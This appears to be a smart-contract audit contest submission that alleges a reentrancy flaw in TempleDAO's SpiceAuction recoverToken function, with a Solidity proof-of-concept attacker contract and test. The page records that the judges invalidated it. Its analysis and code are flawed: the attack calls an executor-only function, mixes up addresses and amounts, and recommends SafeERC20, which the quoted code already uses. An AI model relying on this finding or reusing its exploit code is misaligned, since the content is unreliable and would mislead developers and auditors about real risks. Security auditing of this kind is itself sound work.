TempleGold

TempleDAO
Foundry
25,000 USDC
View results
Submission Details
Severity: high
Invalid

Unchecked Transfer in `recoverToken` Function

Summary

In the recoverToken function of the SpiceAuction contract, tokens are transferred to a specified recipient (to) without sufficient checks on the recipient contract's behavior. This can lead to potential vulnerabilities, particularly reentrancy attacks.

Vulnerability Details

The recoverToken function allows the DAO executor to transfer tokens (token) to to without validating to's behavior or ensuring it can handle token transfers safely.

https://github.com/Cyfrin/2024-07-templegold/blob/57a3e597e9199f9e9e0c26aab2123332eb19cc28/protocol/contracts/templegold/SpiceAuction.sol#L234C5-L269C1

function recoverToken(
address token,
address to,
uint256 amount
) external override onlyDAOExecutor {
if (to == address(0)) { revert CommonEventsAndErrors.InvalidAddress(); }
if (amount == 0) { revert CommonEventsAndErrors.ExpectedNonZero(); }
// Basic token recovery
if (token != spiceToken && token != templeGold) {
emit CommonEventsAndErrors.TokenRecovered(to, token, amount);
IERC20(token).safeTransfer(to, amount);
return;
}
// Further checks and transfer logic for spiceToken and templeGold
}

Impact

  1. Malicious Recipient Contract: An attacker deploys a contract (MaliciousContract) that contains a fallback function or other entry points susceptible to reentrancy attacks.

  2. Token Recovery Call: The DAO or an authorized party executes the recoverToken function, specifying MaliciousContract as the to address and a token (spiceToken or templeGold) with a significant amount.

  3. Reentrancy Exploitation: Upon receiving tokens, MaliciousContract immediately invokes a function in the SpiceAuction contract, potentially calling back into recoverToken or other sensitive functions before the transfer completes.

  4. Unauthorized Withdrawal: MaliciousContract could exploit reentrancy to withdraw additional tokens or manipulate contract state before the recoverToken function completes execution.

To demonstrate the potential reentrancy vulnerability in the recoverToken function, you can create a mock malicious contract (MaliciousContract) in a testing environment. Here’s a simplified example using Hardhat framework for Ethereum smart contract development:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./SpiceAuction.sol";
contract MaliciousContract {
SpiceAuction public spiceAuction;
constructor(SpiceAuction _spiceAuction) {
spiceAuction = _spiceAuction;
}
// Function to exploit reentrancy vulnerability
function exploit() external {
spiceAuction.recoverToken(address(this), address(spiceAuction), 0);
}
receive() external payable {
// Entry point for fallback function
if (address(spiceAuction).balance > 0) {
spiceAuction.recoverToken(address(spiceAuction), address(this), address(spiceAuction).balance);
}
}
}
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 10000 * (10 ** uint256(decimals())));
}
}
contract SpiceAuctionTest {
SpiceAuction public spiceAuction;
MaliciousContract public maliciousContract;
MockERC20 public mockToken;
constructor() {
mockToken = new MockERC20("MockToken", "MTK");
spiceAuction = new SpiceAuction(address(mockToken), address(this), msg.sender, "TestAuction");
maliciousContract = new MaliciousContract(spiceAuction);
}
function testRecoverTokenWithMaliciousContract() external {
uint256 initialBalance = mockToken.balanceOf(address(spiceAuction));
// Transfer tokens to SpiceAuction contract
mockToken.transfer(address(spiceAuction), 1000);
// Call recoverToken with malicious contract as recipient
spiceAuction.recoverToken(address(mockToken), address(maliciousContract), 1000);
// Assert that malicious contract received the tokens
assert(mockToken.balanceOf(address(maliciousContract)) == 1000);
// Perform exploit through malicious contract
maliciousContract.exploit();
// Assert expected outcomes after potential reentrancy attack
// Add further assertions based on contract behavior and expected state changes
}
}

Tools Used

hardhat & vs code

Recommendations

  • Use of SafeERC20 Library: Replace direct token transfers with SafeERC20 to mitigate reentrancy risks and ensure safe token transfers.

  • Checks on Recipient: Implement additional checks on the recipient address (to) to validate its behavior and prevent unintended interactions.

  • Reentrant Guard: Implement reentrant guards or state management mechanisms to prevent multiple invocations of critical functions during token transfers.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.